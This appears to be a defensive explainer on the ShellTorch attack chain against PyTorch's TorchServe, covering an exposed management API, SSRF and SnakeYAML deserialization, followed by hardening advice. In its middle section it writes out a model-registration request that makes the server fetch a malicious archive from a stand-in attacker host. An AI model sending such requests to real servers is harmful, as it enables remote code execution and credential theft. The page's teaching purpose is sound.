What is ShellTorch?

TorchServe serves trained PyTorch models over HTTP. It exposes an inference API for predictions and a separate management API, usually on port 8081, for registering and unloading models. ShellTorch combines three weaknesses:

• An exposed management API. In many deployments, including some default container setups, the management API listened on 0.0.0.0 with no authentication, so anyone who could reach the port could manage models.
• CVE-2023-43654, [server-side request forgery](/learn/application-security/ssrf). The allowed_urls setting defaulted to allowing every URL, so the register-model call would fetch a model archive from any attacker-controlled server and write it to disk.
• Unsafe YAML deserialization (CVE-2022-1471). TorchServe used SnakeYAML to read model configuration, and SnakeYAML's default constructor could instantiate arbitrary Java classes, turning a malicious config file into code execution.

The result is code execution on a GPU server that often holds proprietary models, training data and cloud credentials.

Shown for defensive context, the chain needs only network reach to the management port:

• Register a model from a remote URL: POST /models?url=http://attacker.example/evil.mar to the management API. TorchServe downloads the model archive.
• The archive carries a malicious config whose YAML triggers SnakeYAML to build an attacker-chosen Java object, or a model handler file with Python code that runs on load.
• Code runs as the TorchServe process, with access to every loaded model, mounted datasets and any cloud credentials on the host.

Internet scans at disclosure found thousands of TorchServe management interfaces exposed publicly. The same pattern, an ML serving tool that trusts whoever can reach it, shows up again and again in AI infrastructure; see model file supply-chain attacks for the wider class.

• Upgrade TorchServe to 0.8.2 or later, and preferably a current release, since later versions added token authorization for the management API.
• Bind the management API to localhost with management_address=http://127.0.0.1:8081 in config.properties, and never expose ports 8081 or 8082 to the internet.
• Set `allowed_urls` to a strict regex for your own model registry so the server cannot fetch archives from arbitrary hosts.
• Treat model files as code. Only load archives from trusted, signed sources, because a model archive can carry executable handlers and configuration.
• Hunt for unexpected model registrations in TorchServe logs and outbound downloads from model servers.